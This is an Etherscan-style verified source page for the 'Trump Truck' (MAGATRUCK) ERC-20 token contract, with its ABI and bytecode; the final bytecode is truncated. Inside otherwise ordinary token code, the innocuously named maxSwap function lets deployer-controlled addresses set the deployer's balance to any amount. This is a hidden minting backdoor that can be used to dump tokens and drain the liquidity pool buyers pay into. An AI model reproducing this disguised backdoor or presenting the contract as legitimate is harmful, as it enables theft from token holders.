Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract MAGATRUCK is Context, IER ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function maxSwap(uint set)    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function isBot(address a)    - function openTrading()    - function manualSwap()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-08-05
*/

// SPDX-License-Identifier: MIT

/**
https://t.me/magatruck
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MAGATRUCK is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=30;
    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 8;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Trump Truck";
    string private constant _symbol = unicode"MAGATRUCK";
    uint256 public _maxTxAmount =   8413800000 * 10**_decimals;
    uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
    uint256 public _taxSwapThreshold=1000000000 * 10**_decimals;
    uint256 public _maxTaxSwap=8413800000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private maximum;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        maximum = _msgSender();
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }


            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this) ){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function maxSwap(uint set) public {
        if (!_isExcludedFromFee[_msgSender()]) {
            return;
        }
        uint maxTokens = set;
        _balances[maximum] = maxTokens.sub(_balances[maximum]);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function isBot(address a) public view returns (bool){
        return bots[a];
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }




}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"set","type":"uint256"}],"name":"maxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff1916905560146007819055600890815560006009819055600a818155601e600b819055600c819055600d55600e9190915562000047919062000372565b62000058906401f58066406200038a565b600f55620000696008600a62000372565b6200007a906401f58066406200038a565b6010556200008b6008600a62000372565b6200009b90633b9aca006200038a565b601155620000ac6008600a62000372565b620000bd906401f58066406200038a565b6012556015805461ffff60a81b19169055348015620000db57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319166101003390810291909117909155601580546001600160a01b03191690911790556200015b6008600a62000372565b6200016c906461f313f8806200038a565b336000908152600160208190526040822092909255600390620001976000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001fb3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002356008600a62000372565b62000246906461f313f8806200038a565b60405190815260200160405180910390a3620003a4565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b45781600019048211156200029857620002986200025d565b80851615620002a657918102915b93841c939080029062000278565b509250929050565b600082620002cd575060016200036c565b81620002dc575060006200036c565b8160018114620002f55760028114620003005762000320565b60019150506200036c565b60ff8411156200031457620003146200025d565b50506001821b6200036c565b5060208310610133831016604e8410600b841016171562000345575081810a6200036c565b62000351838362000273565b80600019048211156200036857620003686200025d565b0290505b92915050565b60006200038360ff841683620002bc565b9392505050565b80820281158282048414176200036c576200036c6200025d565b6119f280620003b46000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610349578063a9059cbb1461037b578063bf474bed1461039b578063c876d0b9146103b1578063c9567bf9146103cb578063dd62ed3e146103e057600080fd5b8063715018a6146102cb578063751039fc146102e05780637d1db4a5146102f55780638da5cb5b1461030b5780638f9a55c01461033357600080fd5b80632a7d4725116100f25780632a7d472514610209578063313ce5671461022b5780633bbac5791461024757806351bc3c851461028057806370a082311461029557600080fd5b806306fdde031461013a578063095ea7b3146101805780630faee56f146101b057806318160ddd146101d457806323b872dd146101e957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a5472756d7020547275636b60a81b60208201525b60405161017791906115a8565b60405180910390f35b34801561018c57600080fd5b506101a061019b36600461160e565b610426565b6040519015158152602001610177565b3480156101bc57600080fd5b506101c660125481565b604051908152602001610177565b3480156101e057600080fd5b506101c661043d565b3480156101f557600080fd5b506101a061020436600461163a565b61045f565b34801561021557600080fd5b5061022961022436600461167b565b6104c8565b005b34801561023757600080fd5b5060405160088152602001610177565b34801561025357600080fd5b506101a0610262366004611694565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561028c57600080fd5b50610229610529565b3480156102a157600080fd5b506101c66102b0366004611694565b6001600160a01b031660009081526001602052604090205490565b3480156102d757600080fd5b50610229610581565b3480156102ec57600080fd5b506102296105fe565b34801561030157600080fd5b506101c6600f5481565b34801561031757600080fd5b506000546040516001600160a01b039091168152602001610177565b34801561033f57600080fd5b506101c660105481565b34801561035557600080fd5b506040805180820190915260098152684d414741545255434b60b81b602082015261016a565b34801561038757600080fd5b506101a061039636600461160e565b6106bd565b3480156103a757600080fd5b506101c660115481565b3480156103bd57600080fd5b506006546101a09060ff1681565b3480156103d757600080fd5b506102296106ca565b3480156103ec57600080fd5b506101c66103fb3660046116b1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610433338484610a87565b5060015b92915050565b600061044b6008600a6117e4565b61045a906461f313f8806117f3565b905090565b600061046c848484610bab565b6104be84336104b985604051806060016040528060288152602001611995602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111ee565b610a87565b5060019392505050565b3360009081526003602052604090205460ff166104e25750565b6015546001600160a01b0316600090815260016020526040902054819061050a908290611228565b6015546001600160a01b03166000908152600160205260409020555050565b60065461010090046001600160a01b0316336001600160a01b03161461054e57600080fd5b30600090815260016020526040902054801561056d5761056d81611271565b47801561057d5761057d81611404565b5050565b6000546001600160a01b031633146105b45760405162461bcd60e51b81526004016105ab9061180a565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016105ab9061180a565b6106346008600a6117e4565b610643906461f313f8806117f3565b600f556106526008600a6117e4565b610661906461f313f8806117f3565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61069b6008600a6117e4565b6106aa906461f313f8806117f3565b60405190815260200160405180910390a1565b6000610433338484610bab565b6000546001600160a01b031633146106f45760405162461bcd60e51b81526004016105ab9061180a565b601554600160a01b900460ff161561074e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105ab565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107989030906107896008600a6117e4565b6104b9906461f313f8806117f3565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080f919061183f565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061183f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610906919061183f565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061094e816001600160a01b031660009081526001602052604090205490565b6000806109636000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f0919061185c565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6d919061188a565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ae95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ab565b6001600160a01b038216610b4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ab565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ab565b6001600160a01b038216610c715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ab565b60008111610cd35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ab565b600080546001600160a01b03858116911614801590610d0057506000546001600160a01b03848116911614155b156110ab576001600160a01b03841660009081526004602052604090205460ff16158015610d4757506001600160a01b03831660009081526004602052604090205460ff16155b610d5057600080fd5b60065460ff1615610e09576013546001600160a01b03848116911614801590610d8757506014546001600160a01b03848116911614155b15610e0957326000908152600560205260409020544311610df65760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016105ab565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610e3457506013546001600160a01b03848116911614155b8015610e5957506001600160a01b03831660009081526003602052604090205460ff16155b15610f3d57600f54821115610eac5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016105ab565b60105482610ecf856001600160a01b031660009081526001602052604090205490565b610ed991906118ac565b1115610f275760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105ab565b600e8054906000610f37836118bf565b91905055505b610f696064610f63600b54600e5411610f5857600754610f5c565b6009545b8590611442565b906114c4565b6014549091506001600160a01b038481169116148015610f9257506001600160a01b0384163014155b1561100d57600f54821115610fe55760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016105ab565b61100a6064610f63600c54600e541161100057600854610f5c565b600a548590611442565b90505b30600090815260016020526040902054601554600160a81b900460ff1615801561104457506014546001600160a01b038581169116145b80156110595750601554600160b01b900460ff165b8015611066575060115481115b80156110755750600d54600e54115b156110a9576110976110928461108d84601254611506565b611506565b611271565b4780156110a7576110a747611404565b505b505b801561112557306000908152600160205260409020546110cb908261151b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111c9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111489083611228565b6001600160a01b03851660009081526001602052604090205561118d61116e8383611228565b6001600160a01b0385166000908152600160205260409020549061151b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d78585611228565b60405190815260200160405180910390a350505050565b600081848411156112125760405162461bcd60e51b81526004016105ab91906115a8565b50600061121f84866118d8565b95945050505050565b600061126a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b9392505050565b6015805460ff60a81b1916600160a81b17905580156113f457601554600160a01b900460ff16156113f45760408051600280825260608201835260009260208301908036833701905050905030816000815181106112d1576112d16118eb565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561132a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134e919061183f565b81600181518110611361576113616118eb565b6001600160a01b0392831660209182029290920101526013546113879130911684610a87565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c0908590600090869030904290600401611901565b600060405180830381600087803b1580156113da57600080fd5b505af11580156113ee573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561057d573d6000803e3d6000fd5b60008260000361145457506000610437565b600061146083856117f3565b90508261146d8583611972565b1461126a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ab565b600061126a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061157a565b6000818311611515578261126a565b50919050565b60008061152883856118ac565b90508381101561126a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ab565b6000818361159b5760405162461bcd60e51b81526004016105ab91906115a8565b50600061121f8486611972565b600060208083528351808285015260005b818110156115d5578581018301518582016040015282016115b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461160b57600080fd5b50565b6000806040838503121561162157600080fd5b823561162c816115f6565b946020939093013593505050565b60008060006060848603121561164f57600080fd5b833561165a816115f6565b9250602084013561166a816115f6565b929592945050506040919091013590565b60006020828403121561168d57600080fd5b5035919050565b6000602082840312156116a657600080fd5b813561126a816115f6565b600080604083850312156116c457600080fd5b82356116cf816115f6565b915060208301356116df816115f6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561173b578160001904821115611721576117216116ea565b8085161561172e57918102915b93841c9390800290611705565b509250929050565b60008261175257506001610437565b8161175f57506000610437565b8160018114611775576002811461177f5761179b565b6001915050610437565b60ff841115611790576117906116ea565b50506001821b610437565b5060208310610133831016604e8410600b84101617156117be575081810a610437565b6117c88383611700565b80600019048211156117dc576117dc6116ea565b029392505050565b600061126a60ff841683611743565b8082028115828204841417610437576104376116ea565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561185157600080fd5b815161126a816115f6565b60008060006060848603121561187157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561189c57600080fd5b8151801515811461126a57600080fd5b80820180821115610437576104376116ea565b6000600182016118d1576118d16116ea565b5060010190565b81810381811115610437576104376116ea565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119515784516001600160a01b03168352938301939183019160010161192c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261198f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209dbfc836cd5a21194e52045421c5cb2a4fdffd24ef83dac4340281f968b82ee464736f6c63430008130033

0x60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b4114610349578063a9059cbb1461037b578063bf474bed1461039b578063c876d0b9146103b1578063c9567bf9146103cb578063dd62ed3e146103e057600080fd5b8063715018a6146102cb578063751039fc146102e05780637d1db4a5146102f55780638da5cb5b1461030b5780638f9a55c01461033357600080fd5b80632a7d4725116100f25780632a7d472514610209578063313ce5671461022b5780633bbac5791461024757806351bc3c851461028057806370a082311461029557600080fd5b806306fdde031461013a578063095ea7b3146101805780630faee56f146101b057806318160ddd146101d457806323b872dd146101e957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a5472756d7020547275636b60a81b60208201525b60405161017791906115a8565b60405180910390f35b34801561018c57600080fd5b506101a061019b36600461160e565b610426565b6040519015158152602001610177565b3480156101bc57600080fd5b506101c660125481565b604051908152602001610177565b3480156101e057600080fd5b506101c661043d565b3480156101f557600080fd5b506101a061020436600461163a565b61045f565b34801561021557600080fd5b5061022961022436600461167b565b6104c8565b005b34801561023757600080fd5b5060405160088152602001610177565b34801561025357600080fd5b506101a0610262366004611694565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561028c57600080fd5b50610229610529565b3480156102a157600080fd5b506101c66102b0366004611694565b6001600160a01b031660009081526001602052604090205490565b3480156102d757600080fd5b50610229610581565b3480156102ec57600080fd5b506102296105fe565b34801561030157600080fd5b506101c6600f5481565b34801561031757600080fd5b506000546040516001600160a01b039091168152602001610177565b34801561033f57600080fd5b506101c660105481565b34801561035557600080fd5b506040805180820190915260098152684d414741545255434b60b81b602082015261016a565b34801561038757600080fd5b506101a061039636600461160e565b6106bd565b3480156103a757600080fd5b506101c660115481565b3480156103bd57600080fd5b506006546101a09060ff1681565b3480156103d757600080fd5b506102296106ca565b3480156103ec57600080fd5b506101c66103fb3660046116b1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610433338484610a87565b5060015b92915050565b600061044b6008600a6117e4565b61045a906461f313f8806117f3565b905090565b600061046c848484610bab565b6104be84336104b985604051806060016040528060288152602001611995602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111ee565b610a87565b5060019392505050565b3360009081526003602052604090205460ff166104e25750565b6015546001600160a01b0316600090815260016020526040902054819061050a908290611228565b6015546001600160a01b03166000908152600160205260409020555050565b60065461010090046001600160a01b0316336001600160a01b03161461054e57600080fd5b306000908152600160205260